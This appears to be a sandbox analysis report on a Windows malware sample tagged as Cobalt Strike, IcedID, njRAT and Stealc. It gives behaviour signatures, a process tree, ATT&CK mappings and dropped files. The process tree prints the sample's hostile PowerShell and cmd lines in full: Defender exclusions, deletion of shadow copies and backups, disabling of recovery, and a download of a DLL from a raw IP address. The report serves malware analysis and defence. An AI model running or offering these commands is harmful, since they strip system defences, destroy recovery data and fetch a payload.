Overview

overview

10

Static

static

3

2026-08-08...lc.exe

windows10-2004-x64

10

2026-08-08...lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 08:52

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-08_77513df0fb7c995b5a7d3dd53dfbb84f_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 16.3MB
  • Sample260808-kspg2acm3t
  • SHA256 ea42e17f46a674829d659f109c3ec626fa32edebccfdf176971231fb2530fb62
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionimpactpersistenceransomwaretrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

    execution
  • Deletes system backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 10 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • System policy modification 1 TTPs 1 IoCs
    defense_evasion
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-08_77513df0fb7c995b5a7d3dd53dfbb84f_cobalt-strike_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-08_77513df0fb7c995b5a7d3dd53dfbb84f_cobalt-strike_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4296
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2384
        • C:\Windows\system32\ReAgentc.exe
          reagentc /disable
          4⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:3524
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3476
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete backup -backupTarget:C: -allVersions -quiet
          4⤵
          • Deletes system backups
          • Drops file in Windows directory
          PID:4476
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2148
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete backup -backupTarget:D: -allVersions -quiet
          4⤵
          • Deletes system backups
          • Drops file in Windows directory
          PID:2588
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1820
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:4884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/taskmgr.dll' -OutFile 'C:\Users\Admin\AppData\Local\Temp\taskmgr.dll'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4492
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1372
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2676

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        3
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Windows Management Instrumentation

        1
        T1047

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Winlogon Helper DLL

        1
        T1547.004

        Privilege Escalation

        Abuse Elevation Control Mechanism

        1
        T1548

        Bypass User Account Control

        1
        T1548.002

        Boot or Logon Autostart Execution

        1
        T1547

        Winlogon Helper DLL

        1
        T1547.004

        Defense Evasion

        Abuse Elevation Control Mechanism

        1
        T1548

        Bypass User Account Control

        1
        T1548.002

        Direct Volume Access

        1
        T1006

        Impair Defenses

        1
        T1562

        Disable or Modify Tools

        1
        T1562.001

        Indicator Removal

        3
        T1070

        File Deletion

        3
        T1070.004

        Modify Registry

        3
        T1112

        Credential Access

        Discovery

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Inhibit System Recovery

        3
        T1490

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 aa84605f6d9b6d66e7a21427732fbc8c545863c3c22b7cc873907bfbdc208688
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 db8f6a088b0ee65a8704ab9c2dd0409bfe247849af803572909943df553a2424
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_t3ilx1ig.cef.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t3ilx1ig.cef.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/788-10-0x0000021832190000-0x00000218321AE000-memory.dmp
        Download

        memory/788-6-0x00007FF916970000-0x00007FF917314000-memory.dmp
        Download

        memory/788-7-0x00007FF916970000-0x00007FF917314000-memory.dmp
        Download

        memory/788-0-0x00007FF916AFF000-0x00007FF916B00000-memory.dmp
        Download

        memory/788-11-0x00000218321B0000-0x0000021832262000-memory.dmp
        Download

        memory/788-12-0x0000021832270000-0x000002183227A000-memory.dmp
        Download

        memory/788-14-0x00007FF916970000-0x00007FF917314000-memory.dmp
        Download

        memory/788-15-0x00007FF916970000-0x00007FF917314000-memory.dmp
        Download

        memory/788-5-0x000002181A0D0000-0x000002181A0F2000-memory.dmp
        Download

        memory/788-2-0x00007FF916970000-0x00007FF917314000-memory.dmp
        Download

        memory/788-1-0x00007FF916970000-0x00007FF917314000-memory.dmp
        Download

        memory/788-28-0x00007FF916970000-0x00007FF917314000-memory.dmp
        Download